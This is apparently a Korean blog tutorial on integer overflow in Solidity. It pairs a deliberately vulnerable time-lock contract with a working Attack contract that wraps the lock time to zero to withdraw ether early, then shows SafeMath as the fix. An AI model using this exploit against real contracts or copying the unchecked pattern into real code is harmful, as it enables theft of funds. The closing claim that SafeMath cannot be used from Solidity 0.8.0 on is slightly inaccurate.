솔리디티 언어가 표현할 수 있는 숫자의 크기의 범위는 0 ~ 2**256-1
이다.
부등식으로 표현하면 이렇게 되겠다. 0 <= X <= 2**256 -1
이것이 보통 사용하는 uint256 의 범위이다.
그리고 이 범위를 초과했을 때를 overflow 라고 하며, 초과한 만큼의 수를 인식하게 된다.
예를 들어, 2**256 + 3 이라는 정수는 그냥 3 이라고 인식하게 된다.
underflow 는 overflow 의 반대이다. 음수를 표현할 때에도 -3 이라는 정수는 2**256 - 3 이라는 정수로 인식하게 된다.
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract lockEther {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _increaseLockTime) public {
lockTime[msg.sender] += _increaseLockTime;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
payable(address(msg.sender)).transfer(amount);
}
}
contract Attack {
lockEther lockEthers;
constructor(address _lockEther) {
lockEthers = lockEther(_lockEther);
}
receive() external payable {}
function attack() public payable {
lockEthers.deposit{value: msg.value}();
// overflow 로 LockTime 값을 0으로 만들어서 곧바로 출금이 가능하도록 만듬.
// 언락시간 + (2**256 - 언락시간) = 2**256 = 0
// (2**256 - 언락시간) 값 만큼을 increaseLockTime 함수를 사용해서 증가시켜주면 값은 0 이 됨.
lockEthers.increaseLockTime(
type(uint).max + 1 - lockEthers.lockTime(address(this))
);
}
function withdrawAll() public {
lockEthers.withdraw();
}
}
위와 같이 Ether 를 예치하고, 예치한 이더는 1주일 뒤에 받을 수 있는 컨트랙트를 작성했다.
하지만 overflow 를 사용하여 언제든 이 컨트랙트에 예치한 이더를 출금할 수 있다.
function attack() public payable {
lockEthers.deposit{value: msg.value}();
// overflow 로 LockTime 값을 0으로 만들어서 곧바로 출금이 가능하도록 만듬.
// 언락시간 + (2**256 - 언락시간) = 2**256 = 0
// (2**256 - 언락시간) 값 만큼을 increaseLockTime 함수를 사용해서 증가시켜주면 값은 0 이 됨.
lockEthers.increaseLockTime(
type(uint).max + 1 - lockEthers.lockTime(address(this))
);
}
attack() 함수를 통해 lockEther 컨트랙트에 이더를 예치할 수 있다.
동시에 시간 값을 증가시키는 함수인 increaseLockTime() 함수를 통해 내가 예치한 이더의 언락 시간을 0으로 만들어 버릴 수 있다.
그래서 곧바로 withdraw() 함수로 예치한 이더를 1주일이 지나지 않았음에도 곧바로 출금할 수 있다.
직접 확인해았다.
먼저 1이더를 attack 컨트랙트를 통해 예치한다.
attack 컨트랙트의 주소를 입력해 예치한 이더의 수량과 언락시간을 확인한다.
1이더가 예치되었고, overflow 로 인해 언락시간은 0이 되었다.
곧바로 withdraw 함수로 출금을 진행, 정상적으로 출금되었다.
오픈제플린의 라이브러리를 사용하면 된다.
위 라이브러리의 코드는 매우 단순한데, add 부분만 살펴보면..
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
c = a + b 일때, c >= a 를 만족해야 c 값을 반환해주는 것.
이렇게 매우 간단하게 over, under flow 를 방지할 수 있다.
수정한 코드로 다시 공격을 해보면..
이렇게 에러가 뜨며 방어가 된다.
만약, 솔리디티 컴파일러의 버전이 0.8.0 이상이라면 safeMath 라이브러리를 사용할 수 없다.
그 이유는, 0.8.0 이상의 버전부터는 overflow, underflow 가 발생하면 트랜잭션을 중지하고 revert 하게 된다.
따라서 safeMath 라이브러리를 사용할 필요가 없다.